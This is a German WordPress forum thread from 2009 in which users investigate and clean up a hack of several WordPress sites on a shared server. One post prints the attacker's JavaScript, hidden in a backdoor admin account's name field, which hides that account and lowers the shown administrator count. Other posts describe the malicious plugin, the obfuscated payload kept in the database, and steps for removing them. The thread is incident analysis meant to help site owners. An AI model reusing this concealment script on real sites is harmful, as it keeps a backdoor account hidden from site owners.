Zurück   WordPress Deutschland Forum > Support > Allgemeines

Antwort
 
Themen-Optionen Ansicht
Alt 19.02.2009, 18:10   #11 (permalink)
PostRank: 0
 
Registriert seit: 19.02.2009
Beiträge: 9
Hallo hakre,

ich hab noch ein wenig nachgedacht. Bei unserem Server gibt es so einige Wordpressinstallationen und nicht alle sind aktuell. Desweiteren verwenden wir keine Abschottung der Webverzeichnisse (also kein Openbasedir und der Webserver läuft als wwwrun und kann alles sehen) voreinander. Das bedeutet, dass ein infiziertes Wordpress theoretisch nur die wp-config.php aller anderen Installationen suchen muss, dort die Datenbankinfos findet und sich somit in die Datenbank eintragen kann.

Das habe ich nachgeprüft und ist auch tatsächlich bei jeder Wordpressinstallation der Fall gewesen.

Befallen waren allerdings nur Installationen, die einen beschreibbaren Ordner im Pluginverzeichnis hatten. Einige luden das "Hackplugin" auch aus dem /tmp-Ordner. Befallen heißt in diesem Fall, dass Spamlinks angezeigt wurden, wenn ein Suchmaschinenbot die Seite gecrawlt hat.

Der Datenbankzugriff alleine hat ja schon bei jeder Installation einen unsichtbaren Nutzer angelegt, auch das würde ich als befallen bezeichnen :/

Übrigens stand folgendes im Namensfeld des Benutzers (überall das gleiche):
HTML-Code:
...
                                                                                                                                                                    
               
               
               
     <b id="user_superuser"><script language="JavaScript">
     var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;
               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }
                var arr=document.getElementsByTagName("ul");
                for(var i in arr) if(arr[i].className=="subsubsub"){
                    var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
                    if(n[1]>0){
                        var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
                        arr[i].innerHTML=txt;
                    }
                }
                
          }catch(e){};
     };
     addLoadEvent(setUserName);
     </script>
Der Code reduziert die angezeigte Anzahl der Administratoren in der Benutzerübersicht. Clever! Scheinbar wird der Name von Benutzern nicht richtig escaped? Keine Ahnung.


Also mein Fazit:
Wordpress 2.7 ist wohl nicht die Schuld zu geben, wenn ein Hack auf einer parallelen, älteren Version Dateien und Datenbankeinträge einschleust. Allerdings könnte Wordpress etwas dagegen tun, dass man überhaupt nicht mitbekommt, dass man gehackt wurde.

- Erkennung von ungewöhnlichen Plugins bzw. wenigstens die Anzeige aller Plugins, die durch active_plugins ausgeführt werden
- wirklich alle Benutzer anzeigen

Natürlich hilft auch das nicht, wenn man nicht ständig überprüft, ob alles seine Ordnung hat, aber besser als nichts, oder?

Grüße,
Sebbi
Sebbi ist offline   Mit Zitat antworten
Alt 19.02.2009, 22:04   #12 (permalink)
PostRank: 5
 
Registriert seit: 25.06.2007
Beiträge: 348
Ja da kommt doch langsam Licht ins Dunkel. Eine wirklich wichtige Empfehlung ist es die einzelnen Anwendungen voneinander zu isolieren. Das mit dem wwwrun ist nicht mehr zeitgemäss. Rede mal mit dem Serveradmin, es gibt da eignetlich ganz nette Wege einzelne vhosts unter eigenen usern laufen zu lassen. Gerade mit PHP Anwendungen mit älterer Codebasis (wie WordPress) würde ich da nichts anbrennen lassen.

Ich kann auch besonders Suhosin empfehlen. Das Teil hat einem öfter schonmal den Arsch gerettet.

WordPress 2.6.1 hatte den Bug, dass Payload aus anderen Verzeichnissen nachgeladen werden konnte (#6871).

WordPress 2.7.1 hatte den Bug insoweit immer noch, dass der Payload weiterhin aus dem Plugin Verzeichnis nachgeladen werden konnte (#9164).

Das Ticket konnte ich aufgrund von deinem Report aufmachen, es gibt bereits einen ersten Patch. Ich Teste den gerade und ich schätze es recht positiv ein, dass dann auch mit 2.7.2 besser auf solche Attacken reagiert werden kann.

Das Snippet was Du gerade gepostet hast ist ja auch mal interessant. Da sieht man mal wie viel Mühe der Angreifer sich gegeben hat um die WordPress Installation möglichst lange als Web-Drohne nutzen zu können.

Man Merke!: Javascript is evil. Ruhig auch mal auf der eigenen Seite JS ausmachen. Ich empfehle NoScript für Firefox.
hakre ist offline   Mit Zitat antworten
Alt 20.02.2009, 01:37   #13 (permalink)
PostRank: 0
 
Registriert seit: 19.02.2009
Beiträge: 9
@javascript: aber dann sehe ich doch die ganzen hübschen Effekte nicht

Oh ja, ich denke ich werde morgen mal meine gesammelten Codefragmente als Zip hier reinstellen. Die Verschleierung ihres PHP-Codes ist phänomenal, mindestens!

Vielleicht sollte Wordpress aber auch nicht allen Werten aus der Datenbank vertrauen und ungefiltert darstellen (warum z.B. sollte das script-tag bei Profilen erlaubt sein?).

Jedenfalls gut, dass es schon mal für die Pluginüberprüfung ein Ticket gibt.

P.S.: Je mehr ich auf unserem Server nach der eigentlichen Ursache suche, desto mehr entdecke ich dabei. Einige Wordpressinstallationen hatten eine Datei "remv.php" in ihrem Theme Verzeichnis. Ist wohl so eine Art Dateimanager. Einige Installationen (auch meine 2.7-er) hatte sogar zwei verschiedene Schadplugins installiert. Erst dachte ich die gehören zusammen, aber mittlerweile bin ich mir da nicht mehr so sicher ... seufz. Schleunigst alles abdichten ... von wegen wir vertrauen uns gegenseitig, des Skripten selbst kann man nicht vertrauen
Sebbi ist offline   Mit Zitat antworten
Alt 20.02.2009, 16:30   #14 (permalink)
NHQ
PostRank: 1
 
Registriert seit: 01.10.2008
Ort: Kiel
Beiträge: 21
Moinsens...

möglicherweise - ich kann es nicht genau sagen, weil ich nur einen Bruchteil dieses Threads verstanden habe - ist bei mir sowas ähnliches gelaufen... Irgendwann zwischen 8 und 14 Uhr - ich war natürlich außer Haus, denn als ich heute Nachmittag ins Blog gucken will, gibts Server-Fehler... jemand - und das war nicht ich - hat den WP-Ordner 777 gestellt...

Bei zwei Plugins fanden sich in den Ordern .old-Dateien


Hab nun erstmal auf die ersten Kommentare hier hin den gesamten Plugin-Ordner vom letzten Backup drüber gezogen und die Schreibrechte entsprechend geändert, muss mir jetzt nochmal den Rest euer Sachen durchlesen

Mir ist gerade so richtig schlecht....
__________________
NewsHQ - Die Welt und andere Newswürdigkeiten bloggerisch übers Knie gebrochen
NHQ ist offline   Mit Zitat antworten
Alt 20.02.2009, 17:10   #15 (permalink)
PostRank: 0
 
Registriert seit: 19.02.2009
Beiträge: 9
Hall NHQ,

gibt es in deiner Datenbank (mit Phpmyadmin anschauen) in der Tabelle wp_user einen neuen Nutzer mit Adminrechten (wp_usermeta)?

Weitere Kennzeichen dieses Hacks waren bei mir noch neue Einträge in wp_options. Darunter natürlich die Erweiterung des active_plugins Eintrages, dann ein Eintrag rss_f541b3abd05e7962fcab37737f40fad8.txt, der wie ein normaler Magpie Cache aussieht, allerdings mittendrin rückwärts geschriebenen (strrev) Base64 kodierten Code enthält, der durch das Plugin nachgeladen wird. Und schlussendlich gab es dann noch eine Option namens internal_links_cache, die die ganzen Spamlinks enthielt.

Grüße
Sebbi ist offline   Mit Zitat antworten
Alt 20.02.2009, 17:21   #16 (permalink)
PostRank: 0
 
Registriert seit: 19.02.2009
Beiträge: 9
Hier alle Daten und Dateien, die ich bisher gesammelt habe.

Grüße
Angehängte Dateien
Dateityp: zip datenbankauszüge.zip (78,8 KB, 3x aufgerufen)
Dateityp: zip plugindateien.zip (24,7 KB, 3x aufgerufen)
Sebbi ist offline   Mit Zitat antworten
Alt 20.02.2009, 17:48   #17 (permalink)
NHQ
PostRank: 1
 
Registriert seit: 01.10.2008
Ort: Kiel
Beiträge: 21
Hi nochmal,

hatte bei dir schon entsprechende Hinweise gesehen und tatsächlich zwei neue Admin-Einträge gefunden, die ich in der DB entsprechend gelöscht habe... so weit so gut...

Allerdings muss ich ab hier sagen "Oh weia", denn ich bewege mich nun schon weit ab außerhalb meines Kompetenzbereichs... wp-options, wp-usermeta... ich habe Null Ahnung, was davon valide und was schadhafter Code sein soll... Gucke mir gleich deine Zips an... wenn ich da was von finde was mach ich damit? Rauslöschen?

Update:
- active_plugin sieht sauber aus (als wüßte ich, was sauber ist *lol*)
__________________
NewsHQ - Die Welt und andere Newswürdigkeiten bloggerisch übers Knie gebrochen

Geändert von NHQ (20.02.2009 um 17:53 Uhr).
NHQ ist offline   Mit Zitat antworten
Alt 20.02.2009, 17:55   #18 (permalink)
PostRank: 0
 
Registriert seit: 19.02.2009
Beiträge: 9
Die beiden Einträge in wp_options mit option_name "rss_f541b3abd05e7962fcab37737f40fad8" bzw. "internal_links_cache" kann man getrost löschen.

Der active_plugins Eintrag lässt sich nicht so leicht bereinigen. Da hilft wohl nur sich merken welche Plugins aktiviert waren, dann den Eintrag aus der Datenbank löschen und die Plugins neu aktivieren.

Benutzt du auch Version 2.7. bzw. 2.7.1? Und viel interessanter, auf was für einer Art Server befindet sich dein Wordpress?
Sebbi ist offline   Mit Zitat antworten
Alt 20.02.2009, 18:07   #19 (permalink)
NHQ
PostRank: 1
 
Registriert seit: 01.10.2008
Ort: Kiel
Beiträge: 21
Also der active_plugins-Eintrag sieht sauber aus, da ist nur drin, was ich auch an Plugins hab, kein anderer Kram...

Ich hab ne ganze reihe von einträgen mit option_name wie rss_867bd5c64f85878d03a060509cd2f92c Magpie-Dingens in der aller möglicher Text steckt, was ist denn davon schlecht????

Vers. 2.7.1, Welcher Art Server??? Nen Net-Housting-Server, frag mich nich nach den Spezifikationen *g*

Update: internal_Links_cache ist bei mir leer, das hatte ich auch schon in Google Webastertools nachgeguckt, da war nichts...

Update2: Ganze 11(!) first_name-Einträge mit dem entsprechenden SuperUser-Code... was mache ich damit? Nur den Inhalt löschen oder den ganzen Eintrag? Was ist mit den dazugehörigen wp-capabilities und Wp-user-level-Einträgen???
__________________
NewsHQ - Die Welt und andere Newswürdigkeiten bloggerisch übers Knie gebrochen

Geändert von NHQ (20.02.2009 um 18:35 Uhr).
NHQ ist offline   Mit Zitat antworten
Alt 20.02.2009, 19:56   #20 (permalink)
NHQ
PostRank: 1
 
Registriert seit: 01.10.2008
Ort: Kiel
Beiträge: 21
Ach ja und vielleicht noch diese Frage aus der Kategorie Döfst-Anzunehmender-User: Gibts irgendwo nen Schema, das zeigt, welche Ordner/Dateien denn welche (Schreib-)Rechte haben müssen (maximal/minimal) damit WP läuft??? Wenns da überhaupt individuelle Unterschiede gibt...
__________________
NewsHQ - Die Welt und andere Newswürdigkeiten bloggerisch übers Knie gebrochen
NHQ ist offline   Mit Zitat antworten
Antwort

Lesezeichen

Themen-Optionen
Ansicht

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist aus.
HTML-Code ist aus.
Trackbacks are aus
Pingbacks are aus
Refbacks are aus



Alle Zeitangaben in WEZ +1. Es ist jetzt 21:38 Uhr.


Powered by vBulletin® Version 3.8.7 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.6.0 | Impressum | Ein Inpsyde.com Projekt